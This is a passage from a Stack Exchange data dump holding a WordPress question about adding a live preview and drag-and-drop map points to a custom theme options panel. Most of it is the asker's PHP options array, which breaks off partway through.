});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-24T12:32:11.727" CommentCount="1" />
  <row Id="12926" PostTypeId="1" AcceptedAnswerId="12939" CreationDate="2011-03-24T12:34:13.173" Score="0" ViewCount="118" Body="&lt;p&gt;Hi to all it's a few days that I'm trying to add some new functions to my theme option-panel, you can see my questions here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12807/how-to-add-an-export-function-to-a-custom-option-theme-page&quot;&gt;How to add an export function to a custom Option Theme Page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12679/add-a-preview-to-a-wordpress-control-panel&quot;&gt;Add a preview to a Wordpress Control Panel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12627/modify-css-via-theme-control-panel&quot;&gt;Modify CSS via Theme Control Panel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's wrong with it? I'm trying to add a live preview of some modification BEFORE saving them but...I'm not able to add it...I'm almost a completely newbie in JS, I know a little PHP, enough CSS and HTML so here are the reasons of my questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway my new idea is to add the possibility to DRAG &amp;amp; DROP some DIVs, place them on a map, save their position and show them inside my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to explain it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually in my option-panel I have 10 functions: zona1, zona2, zona3 ..... with 4 values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;zona1c = checkbox to choose if you want to show it or not&lt;/li&gt;&#xA;&lt;li&gt;zona1x = X Axys position (it changes LEFT CSS ATTRIBUTE)&lt;/li&gt;&#xA;&lt;li&gt;zona1y = X Axys position (it changes BOTTOM CSS ATTRIBUTE)&lt;/li&gt;&#xA;&lt;li&gt;zona1l = user have to write the URL of the post linked to this point&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything is working so if I write a value inside zona1x and zona1c is set to TRUE it shows the div in my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to improve this because sometimes I make mistakes so I don't want to go &quot;live&quot; before everything is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like you to teach me is how to add a preview of that page then if zona1c is set to true I want to be able to move this DIV inside the preview (that is visible in my admin-panel) choose the right position, drop it and SAVE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy or STEP BY STEP (Please, I would like to learn something new) solution for my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much to all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Functions.php : &lt;a href=&quot;http://pastebin.com/8cVmne1s&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/8cVmne1s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my admin-panel.php: &lt;a href=&quot;http://pastebin.com/xX8G4Zxr&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/xX8G4Zxr&lt;/a&gt; or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/** Declare the themename and shortname -- Ecco il nome del template e la sua abbreviazione **/&#xA;$themename = &quot;Appartamenti Acquario&quot;;&#xA;&#xA;$shortname = &quot;appaqua&quot;;&#xA;/** Set the array with all the theme options -- Impostiamo l'array con tutte le opzioni del tema **/&#xA;&#xA;$options = array (&#xA;&#xA;array(&#xA;&#xA;&quot;desc&quot; =&amp;gt; &quot;&amp;lt;h3&amp;gt;IMPOSTAZIONI GENERALI&amp;lt;/h3&amp;gt;&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Prima di cominciare&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Link pagina mappa&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla pagina della mappa&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_pama&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot; &quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;General&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Logo URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link all'immagine del tuo logo&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_logo&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot; &quot;),  &#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 1&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla prima immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-1.jpg&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 2&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla seconda immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img2&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-2.jpg&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 3&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla terza immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img3&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-3.jpg&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 4&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla quarta immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img4&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-4.jpg&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 5&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla quinta immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img5&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-5.jpg&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage Immagine Slide 6&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla sesta immagine degli slide&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_header_img6&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://nextube.info/images/ImmijQuery/image-6.jpg&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Footer&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Google Analytics Code&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il tuo codice Google Analytics per tracciare le visite che ricevi.&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_ga_code&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;textarea&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Social&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Indirizzo Feed&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Feedburner è un sistema fornito da Google per ottimizzare la distribuzione dei tuoi feed, inserisci qui il link al tuo feed&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_feedburner&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; get_bloginfo('rss2_url')),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Facebook URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link alla tua pagina Facebook&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_facebook&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://facebook.com/pages/Downloadtaky/325661998362&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Twitter URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al tuo account Twitter&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_twitter&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://twitter.com/downloadtaky&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Punti sulla mappa&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;/** Copia da qui per aggiungere un nuovo punto - start copy to add a new point on the map **/&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 1?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il primo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del primo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il primo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il primo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 1&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;/** Copia fino a qui e rinomina progressivamente in zona2, zona3, zona4 ecc -- Copy from here to add a new zone like zone3, zone 4 and so on**/&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 2?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il secondo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del secondo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il secondo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il secondo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 2 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 2&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 3&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 3?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il terzo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona3c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 3 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del terzo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona3n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 3 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il terzo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona3x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 3 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il terzo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona3y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 3 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 3&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona3l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 4&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 4?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il quarto fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona4c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 4 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del quarto appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona4n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 4 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il quarto punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona4x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 4 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il quarto punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona4y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 4 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 4&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona4l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 5&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 5?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il quinto fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona5c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 5 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del quinto appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona5n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 5 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il quinto punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona5x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 5 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il quinto punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona5y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 5 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 5&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona5l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 6&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 6?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il sesto fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona6c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 6 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del sesto appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona6n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 6 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il sesto punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona6x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 6 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il sesto punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona6y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 6 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 6&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona6l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 7&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 7?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il settimo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona7c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 7 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del settimo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona7n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 7 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il settimo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona7x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 7 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il settimo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona7y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 7 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 7&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona7l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 8&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 8?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi l/'ottavo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona8c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 8 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome dell/'ottavo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona8n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 8 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare l/'ottavo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona8x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 8 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare l/' ottavo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona8y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 8 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 8&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona8l&quot;,&#xA;    &quot;type&quot; =&amp;gt; 